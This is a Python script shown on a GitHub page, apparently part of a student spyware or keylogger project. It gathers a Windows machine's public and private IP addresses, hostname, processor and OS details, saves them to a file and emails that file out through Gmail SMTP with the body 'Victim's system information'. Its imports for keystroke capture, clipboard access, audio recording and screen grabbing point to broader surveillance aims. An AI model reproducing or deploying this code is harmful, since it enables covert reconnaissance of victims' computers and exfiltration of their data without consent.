-
Notifications
You must be signed in to change notification settings - Fork 0
/
systemInfo.py
71 lines (64 loc) · 2.5 KB
/
systemInfo.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from email import message
from email.message import EmailMessage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from fileinput import filename
import smtplib
import socket
import platform
import win32clipboard
from pynput.keyboard import Key, Listener
from scipy.io.wavfile import write
import sounddevice as sd
from cryptography.fernet import Fernet
import getpass
from requests import get
import time, os, smtplib, shutil
from multiprocessing import Process, freeze_support
from PIL import ImageGrab
system_information = "systeminfo.txt"
# file_path = r"C:\\Users\\Vinita Vaswani\\Desktop\\csPro"
file_path="C:"
extend = "\\"
def computer_information():
with open(file_path + extend + system_information, "w+") as f:
# f=open("C:\\"+system_information,"w+")
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
try:
public_ip = get("https://api.ipify.org").text
f.write("Public IP Address: " + public_ip)
except Exception:
f.write("Couldn't get Public IP Address (most likely max query")
f.write("Processor: " + (platform.processor()) + '\n')
f.write("System: " + platform.system() + " " + platform.version() + '\n')
f.write("Machine: " + platform.machine() + "\n")
f.write("Hostname: " + hostname + "\n")
f.write("Private IP Address: " + IPAddr + "\n")
def send_mail():
try:
msg=EmailMessage()
msg["From"]="[email protected]"
msg["To"]="[email protected]"
msg["Subject"]="System Information"
body="Victim's system information"
# path="C:\\Users\\Vinita Vaswani\\Desktop\\csPro\\systeminfo.txt"
path="C:\\systeminfo.txt"
msg.set_content(body)
msg.add_attachment(open(path,"r").read(),filename="systeminfo.txt")
print("attachement added successfully now logging in to email account")
server=smtplib.SMTP("smtp.gmail.com",587)
server.ehlo()
server.starttls()
server.login("[email protected]","Enter your app password here")
server.send_message(msg)
print("Message send successfully")
server.close()
# os.remove("C:\\Users\\Vinita Vaswani\\Desktop\\csPro\\systeminfo.txt")
except Exception as mail_error:
# os.remove("C:\\Users\\Vinita Vaswani\\Desktop\\csPro\\systeminfo.txt")
pass
computer_information()
send_mail()